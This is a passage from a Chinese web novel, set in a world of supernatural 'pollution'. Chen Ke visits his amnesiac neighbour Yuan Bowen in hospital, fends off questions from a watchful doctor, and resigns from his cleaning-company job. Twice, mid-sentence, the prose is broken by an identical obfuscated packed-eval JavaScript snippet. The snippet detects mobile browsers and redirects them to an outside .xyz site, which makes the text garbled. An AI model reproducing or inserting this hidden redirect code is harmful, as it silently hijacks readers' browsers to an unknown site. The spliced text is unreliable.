“是这么听的吗?心跳好像有点快,是因为失血过多还是……” “陈恪,你在干什么?” 张余好奇地探出头。 他一只眼睛已经恢复,虽说不如另一个挺得直,但好歹能立起来了,像狗立耳朵一样。 此时两只眼睛一前一后,探头探脑看着陈恪,十分诡异,但偏偏那张脸上还是一脸茫然的模样。 看起来,张余很享受一米九的视角。 陈恪直起腰:“没什么,我今天去看元博文,家里就留你看家了。” 昨晚医院给他打了电话,元博文手术顺利,已经转到普通病房了。 陈恪摸了摸自己的口袋,那里鼓鼓囊囊,塞了好几个钱夹,都是地龙翻身捞出来的。 “为了救人,也算是遗物尽其用了。” 陈恪感叹,真是瞌睡遇到枕头——但目前是不会放弃让元博文出他自己的医药费的。 “啊?” 张余一脸懵:“我看家?” 他的眼睛转了转,望向大楼那个被缝得歪七扭八的伤口:“可是我也没有学过伤口护理啊……” 陈恪用惊奇的眼神看他:“他只是一栋楼而已。” “它——” 张余觉得哪里不对劲,但他找不到问题在哪,仔细一想,头痛得要裂开了。 “嗨呀,小张看不了的,还是我来看吧……” 刘阿婆从阴影里缓步挪出。 她的精神头比之前好了不少,又恢复成了以前和蔼的样子,只是步子依然拖沓不稳,有些不利索。 她紧攥着一盒包装簇新的营养品,眼珠几乎黏在盒子上,语气中带着一丝不情愿:“鸡蛋好多都被挤坏了。喏,这个还好好的,正好可以带给病人,我儿子之前来看我的时候给我买的。” 她递过来,手却像被吸住一般难以松开。 陈恪没有强人所难的爱好,轻声说:“还是小张来吧,我重新给元博文买。” 他现在兜里厚实,没准花的还是刘阿婆姐妹团的遗产呢,就当是刘阿婆赞助的了。 刘阿婆的笑容一僵。 果然! 昨天的事情就是陈恪故意闹出来的。他故意提元博文,就是为了刺激她! 刘阿婆甚至怀疑,陈恪是不是在特管局也有关系,不然为什么特管局现在都没有收了她和睦安佳苑? 要知道,他们昨晚的动静可不小! 见刘阿婆闷声不语,陈恪又叮嘱了张余几句,最后张余才不情不愿地答应下来。 “如果出……事情,我怎么联系你?”张余有些纠结地问。 昨晚陈恪给他下单了新的电子设备,他答应收到货就把钱转给陈恪。 “我又不是不回来了,不用联系。” 看着张余畏畏缩缩的样子,陈恪眼睛弯了弯:“我那么多书还在这呢!” 陈恪走后,刘阿婆看着张余,露出一个笑容,皱纹深深:“小张,你想知道老孙头的秘密……” 张余看向她身后的一片蠢蠢欲动的阴影,汗毛倒立,眼柄僵直。 陈恪现在不在家了,刘阿婆不会想趁机吃掉他吧?! 毕竟污染物都是吃人的! “我有点忙!” 说完,张余“哐”的一声关上了门。 刘阿婆嘿嘿一笑,抱着失而复得的营养品,对着空荡荡的走廊絮叨: “忙点好啊,都去上班,不用管我……” “我找了很多老姊妹,年轻时候我也是艺术团的一枝花呢……” “上次看的那个电视不错,叫什么来着?哎呀,还是老王家的瓜够劲……” 她喃喃自语,越走越远。 - 医院里消毒水气味刺鼻。 陈恪提着早餐和塞满元博文物品的袋子走进三人间病房。 元博文在靠窗的位置。 他的另外两位病友,一个缠满绷带,一个刚做完开颅手术,头上裹得像个白粽子。 元博文没有醒。身上插着管子,脑袋用白色绷带包个大包,看着怪吓人的。 ——账单数字跳得快得吓人。 好在,如今口袋里那沓钱给了陈恪十足的底气。 把东西放好以后,陈恪拉来一张凳子坐着看新的小册子。 一个电话插了进来。 快递员的声音带着信号干扰的嘶嘶声,有些失真: “你好,你下单的手机和笔记本电脑已经到了,请问睦安佳苑是在哪啊?” 陈恪:“宣义路尽头的那个小区,你把快递放在大楼门口就行。” “没有啊,哪里有小区?”快递员的电话声音模糊。 陈恪轻轻皱眉。 很快,快递员声音传来,有些恍惚:“哦,是睦安佳苑啊!找到了,不好意思,我刚刚没看到,那么大个楼,哎哟我这视力,怎么地图也……” 确实该配一副眼镜了,陈恪点点头,挂了电话。 旁边的家属看了眼元博文,好奇地探问:“小伙子,你们家这位是咋回事啊?” “前几天的星光影院污染事件,有点脑震荡。”陈恪随口道。 “污染?!”周遭瞬间响起倒吸冷气的声音,所有家属都看了过来,“天爷!咋不住污染防治科?!” 陈恪眨了眨眼:“要去污染防治科吗?” “沾上污染全得去那隔离!”说话的人已经惊恐地向后缩去。 这个词语刺激到了其他人,有一个家属尖声冲走廊叫嚷:“护士!护士!这有污染病人!怎么能放普通病房?!” “污染”二字仿佛带着剧毒,顷刻间点燃了恐慌情绪,几个病人裹紧了被子,家属们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175440|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷退避。 护士匆匆赶来。 看到陈恪,年轻护士皱眉:“你是元博文家属吗?昨晚为什么不在?” 陈恪一脸无辜:“不好意思,我昨晚家里临时有点事……” “他身上有污染!你们家属怎么回事啊?一点不知道轻重!” 一个情绪激动的男家属指着陈恪鼻子控诉。 陈恪一时语塞。 护士强压着脾气:“请你冷静,患者体征稳定,检测报告清楚显示没有残存污染——” 方才叫嚷最凶的男人一顿,奇异的瞬间换了副表情。 他尴尬地搓着头皮:“嗨呀,没有污染,我以为是什么呢,不好意思,不好意思。” 不仅仅是男人,周围人刚刚还盯着的家属和患者,纷纷展颜:“早说啊小哥,吓我一跳。” 这些人的态度是不是变得太快了…… 陈恪心底掠过一丝模糊的怪异感,但好像也没有什么不对劲的地方。 他正准备坐下,一道声音唤住了他。 “陈先生。” 见到来人,陈恪脸上闪过一丝讶异:“谢医生。” 谢闻渊双手插在白大褂口袋里,神色淡漠:“嗯。” 他的身体越过站在门口的护士和其他家属,径直走向了陈恪,白大褂的衣角随着步伐划出一个优雅的弧度。 “昨晚你不在医院。” 谢闻渊用的是陈述句。 按理说家属手术这么重要的事情,陈恪却不在场,这显得很不称职。 可他根本不是家属啊! 陈恪心里无奈,面上只能维持着礼貌的笑意,迅速收起小册子,解释道:“家里有突发情况,实在没办法。” 谢闻渊似乎接受了解释,脚下却没停,径直来到他的面前。 两人之间的距离瞬间被拉近,近到陈恪能清晰地闻到对方身上冷冽的味道,还有那几乎轻不可闻、却极具存在感的呼吸声。 ——有点太近了。 陈恪喉结微动,下意识向后退了一步,重新维持住一个礼貌却疏离的社交距离。 “您要看看患者吗?”他转身,伸手就要去移开元博文床边的凳子,好让医生上前。 在他看不见的角度,谢闻渊波澜不惊的沉静眼眸一暗,闪过一丝不悦。 就在陈恪挪好椅子转过身时,谢闻渊又变回了那个冷静而专业的谢医生。 “今天罗医生不在,我转述他昨天给家属的医嘱。” 罗医生就是元博文的主刀医生。 陈恪直起身点点头,打开手机备忘录,神色认真:“您请说。” 谢闻渊的目光不经意地扫过陈恪的脸,语气冷淡:“患者头部遭受过重击,脑实质损伤一定概率会引发后遗症,包括但不限于短期记忆缺失、认知功能障碍……” 陈恪一听,脸色微变。 要是元博文想不起是他把他送来的,那垫付的医药费怎么办? “陈先生。” 谢闻渊的声音陡然冷了几分。 陈恪立刻回神,对上谢闻渊锐利的目光:“抱歉,我有些担心他。” 谢闻渊冷冷的地扫了他一眼,带着审视:“另外,请抽空来一趟污染防治科,我需要再次详细确认电影院污染事件发生的具体细节。” 陈恪心里“咯噔”一下。 流程这么麻烦? 元博文根本就不是在电影院受的伤,陈恪撒了谎。 谢闻渊似乎没留意到他瞬间僵硬的表情,交代完毕,不等陈恪有任何多余回应,仿佛所有需要沟通的事项都已了结,直接干脆利落地转身离开。 陈恪思索片刻,打开手机,搜索星光影院事件的具体细节,同时疯狂回忆当天编造过的说辞。 他像学生备考一样,反复打着腹稿,在脑子里一遍遍演练着即将到来的考试。 比起这个,更让陈恪有压力的是,元博文果然如同他担心的一样—— 脑子坏掉了。 14.第 14 章 元博文醒来前几分钟,陈恪正坐在病房窗台边,安静地翻着新的《民法典》。 “年纪轻轻就遇到这种事情,真是遭罪。” 刚才言辞激烈的男家属从塑料袋掏出一个苹果。 陈恪说了声谢谢,摇头婉拒。 病房的角落里有一台电视,上面的新闻播报员正在播报: 【据悉,丰顺市本次污染事件已造成上千人受伤,近百人死亡……】 剧烈晃动的画面上,一个个身穿制服的人举着武器,快步行走在一片疮痍的街道上。 远处,一只枯瘦的树枝冲天而起,延伸出来的枝丫上还挂着打了马赛克的尸体。 “这个世界真操蛋!” 男家属一屁股坐在塑料椅上,搓了搓脸,“我们家是卖抑制药的,但我爸就是因为污染死的,你说离不离谱?” 旁边的家属补充说:“面对污染咱正常人实在太无力。” “要我说他妈的还不如地球直接爆炸吧,大家一起完蛋!这样就人人平等了!”男人猛地捶了下大腿。 “别这么说。”一个年长的女人低声劝道,“不是还有特管局吗?他们总归是在努力救人。” “他们?”男人嗤笑一声,盯着电视屏幕。 画面上,一队身穿黑色衣服的人冲了出来。 其中某个人抬手一挥,从地面上隆起巨大的土墙,拦住了冲向市民的诡异枝丫。 “他们自己都是一群怪物,谈什么拯救别人。”男人喃喃自语。 此时,病床传来细微响动。 陈恪合上书,走到床边。 “终于醒了。” 床上的元博文睫毛微颤,缓缓睁开眼,目光茫然地扫过病房,最后落在陈恪脸上。 “你是?” “我是楼上的邻居。” “楼上的……邻居?” 元博文皱起眉,努力回忆着,可脑子里一片空白。 他张了张嘴,最终只能低声道:“不好意思,我就记得我离开我家,但记不清你是谁了。” 陈恪的笑容僵了一瞬,他的声音很轻:“你遇到污染,是我救了你,也不记得了?” 元博文摇头,眼神透着茫然和无措。 陈恪再次开口:“一点点都想不起来?” 元博文摇摇头。 他的目光在陈恪脸上逡巡,试图从这张陌生的面孔里找出一点熟悉感。 咦?这人长得还挺好看的。 他被赶出家门,遇到了污染物,还被好看的邻居送到了医院。 元博文想到了什么,扭捏开口:“那费用方面?” “账单在这里。” 陈恪拿出早就准备好的纸质账单,又补充了一句:“我垫付的。” 元博文试探性问:“那我应该要还你吧?” “现金还是二维码?” 陈恪拿出手机,用眼神询问他。 元博文沉默片刻:“不好意思,我刚醒,没钱。” 他垂下眼,声音低了下去:“我被赶出家门了。” “我知道。”陈恪收起了手机,“你是假少爷,被赶出家门,无路可去,在网上看到招租信息就搬来,现在穷得连饭都吃不起。” 他顿了顿,又道,“我还知道你的行李箱是黄色的。” 元博文瞪大眼睛,结结巴巴:“我们真的只是邻居吗?为什么你知道……” 为什么知道他的这么多事情? 该不会像那些小说里写的,失忆后我…… 陈恪用奇怪的眼神看他一眼:“我们当然不只是邻居。” 元博文呼吸一滞。 真的还有其他情节展开? “你不是还欠我钱吗?”陈恪紧跟着说出了后半句。 元博文:??? 这样的感觉他好像经历过,他刚刚搬进来的时候,似乎确实遇到了这样的邻居来着。 “你是陈——”元博文抬起手指,怔怔望着陈恪。 陈恪身体微微前倾,鼓励他:“继续。” “不好意思,我还是不知道你叫什么。” 元博文手指放下,一副快要哭出来的样子:“对不起,我真的不记得了,我回家看看有没有现金给你。” “没关系。” 陈恪叹了口气,暂时放弃了:“等你恢复了再说吧。” 躺在病床上还想给他转账,这份心意暂时收下了。 元博文脸上露出感激的笑容:“哥,你人真好!” 陈恪面不改色:“想吃想喝你跟我说。” 元博文乖乖“哦”了一声,扶着脑袋躺回去,嘴里喃喃自语着“邻居”“搬家”等词语。 陈恪坐回了旁边的椅子上,打开手机。 恰在此时,叮叮群里,人事王姐发了消息: [《平安家政公司绩效考核标准3.0》大家可以看看新的考核标准,本季度的绩效发放会按照新的标准来执行哈!] 陈恪的指尖顿在半空。 他对“规章制度”这四个字十分敏感,依稀记得2.0的内容,这次新文件一发,他就点了进去。 三十秒后,陈恪气息有些不稳。 末位淘汰制。 每个季度业绩倒数几名会被淘汰——不给赔偿金的那种。 群里一溜烟地收到,仿佛对新的规章制度接受良好。 正常情况下,这样的规定一出,陈恪的私聊就爆满了。 他的同事年纪普遍年纪偏大,对于很多条款和制度理解得并不准确,但陈恪本就喜欢研究这些条款之类的,所以公司一有风吹草动,他都是最先收到私聊的。 然而这次,他的聊天框安安静静,半点动静都没有。 陈恪私聊一个平时和自己聊天的老大哥。 [罗哥,公司发的条款你都看到了吗?] [看到啦小陈,怎么啦?] [你觉得这次新的方案怎么样?] [还行吧?好好干就行了,现在这个大环境实在是不好找工作哦!] 陈恪手指一顿。罗哥的思想觉悟这么高,显得他有些多事了。 罗哥紧接着发来一条消息:[我这里有小道消息,老板准备有大动作,可能会增加一些员工福利什么的,你别告诉别人啊!] 陈恪倒是觉得,这次的绩效改革很可能只是个开始,后面福利有没有不知道,但幺蛾子肯定是不缺的。 他退出聊天框,在网上搜了一篇现成的离职申请,改了名字之后就发给了人事王姐。 两人的聊天框里,上一条信息还是陈恪询问她提成什么时候发的那件事。 显示已读,但是没有回复。 这次陈恪发了离职申请之后,王姐倒是回复得很快。 [可以,不过公司最近正在改革,人手比较缺,一个月后你才可以离开岗位,到时候做好交接。] 提前一个月通知用人单位自己离职是正常的流程。 陈恪松了口气,再次问道:[那我的上季度提成什么时候发呢?] 消息显示已读,但是人事没有再回复他了。 一问提成就装死。 这钱如果再不要,就要不回来了。 陈恪关上手机,随手丢到被子上,转身去倒水。 “陈,陈哥。”元博文看到陈恪脸色不好,说话都小心翼翼,生怕触他霉头:“医生有没有说我什么时候可以出院呀?” 陈恪拿着杯子,给两人一人接了一杯水,将其中一个塞进了元博文手里:“我还不知道,等我一会儿去问问医生。” 元博文疯狂点头:“是的是的,是该去问问。” 不然账单数字再跳的话,他可能要卖身才能还得起欠陈恪的了。 明明只是邻居,却对自己这么好。 他和养父母相处这么多年,最后被赶出家门时,那些人连件像样的外套都没让他带走。 元博文垂下头,偷偷瞥了陈恪一眼。 青年坐在窗户旁边,黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185432|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色衬衫的袖口卷到手肘,露出线条分明的小臂。他低头玩着手机,夕阳为他镀上一层金边,发梢都染上蜜糖般的光泽。 确实好看,是男人的那种好看。 “看我干什么?” 陈恪突然抬头,栗色的瞳孔在阳光下呈现出琥珀般的通透感,像是能一眼看穿人心。 长得好看心地又善良。 元博文的眼眶有些湿润。 等他有钱了,一定会狠狠报答他的! “别哭,我现在就去问医生你什么时候出院。” 陈恪以为他心疼钱,站起身,手机揣进了口袋。 走廊的消毒水味比病房更浓。陈恪一路问到了罗医生办公室位置。 罗医生不在。 陈恪又问了医护谢闻渊的办公室地点。 知道陈恪是去找他,医护们脸上的表情有些微妙。 陈恪不明白这种表情的意思。 “笃笃。” 陈恪指节叩击门板。 “进。” 推开门时,最先映入眼帘的是占据整面墙的档案柜,每一份档案都用相同的牛皮纸袋封装,侧面的标签整整齐齐。 旁边是一张黑色办公桌。 谢闻渊就坐在办公桌后,白大褂下隐约可见一丝黑色衬衫领口。 “坐。”他眸光疏淡地扫了过来。 这间办公室装饰非常简洁,墙壁雪白,除了必要的家具,没有任何多余的装饰,茶几上连水杯都没有。 显然是不怎么待客的。 皮质沙发发出细微的摩擦声。 陈恪双手放在膝盖上,有些拘谨。 他望向谢闻渊,斟酌开口:“谢医生,元博文什么时候可以出院?” 谢闻渊不疾不徐地起身,绕过桌角,走到陈恪对面的单人沙发坐下:“我观察过你朋友身上的污染情况,似乎和电影院污染不太匹配。” 陈恪后背一紧,没想到谢闻渊会直接切入主题。 “不清楚,事实上,我去的时候,我朋友已经在那里了。” 陈恪语气恰到好处地迟疑,像是在努力回忆:“我买水回来的时候,他正在被一个巨大的爆米花舔,那东西舌头上的倒刺刮破了他的皮肤,血流了一地。” 他描述的这部分细节,关于怪物和现场的细节分毫不差。 星光影院确实有只巨大的爆米花怪物肆虐,舌头上也确实长着倒刺,只是吃不吃人陈恪就不知道了。 他不知道,谢闻渊应该也不知道。 “那真是我见过最凶残的爆米花了。” 陈恪语气怜悯:“可怜我邻居一个人遭遇了这样的事情。” “他的家人呢?”谢闻眼皮垂落下去,指尖转动着一支签字笔。 “情况有些复杂,其实他……” 陈恪简略讲述了元博文的身世,而谢闻渊似乎对此兴趣缺缺。 事实上,从陈恪进门起,谢闻渊就处于一种微妙的状态。 陈恪身上的香气淡了许多,但两人距离很近,那股让人痴迷的芬芳依然丝丝缕缕飘散在空气中。 不浓烈,却如同陈年佳酿般后劲十足,无声浸透了整个房间。 谢闻渊眼底像有墨迹晕染。 “谢医生?” “出院时间需要和罗炎峰确认。稍等,这份文件需要你签字。” “好的。” 不知道是不是陈恪的错觉,对方的呼吸有些急促,声音也比平时低哑许多。 好在终于蒙混过关。 陈恪跟着谢闻渊起身,来到了他的办公桌前。 谢闻渊拉开抽屉,从里面取出一个u盘,操作电脑整理。 陈恪眼神下意识扫过办公桌的抽屉内部。 一把黄绿色的古旧蒲扇静静躺在抽屉里,边缘有些破损,看起来和整个办公室的风格格格不入。 陈恪一愣。 书店老板也有一个一模一样的扇子。 自己还用那把扇子扇过风。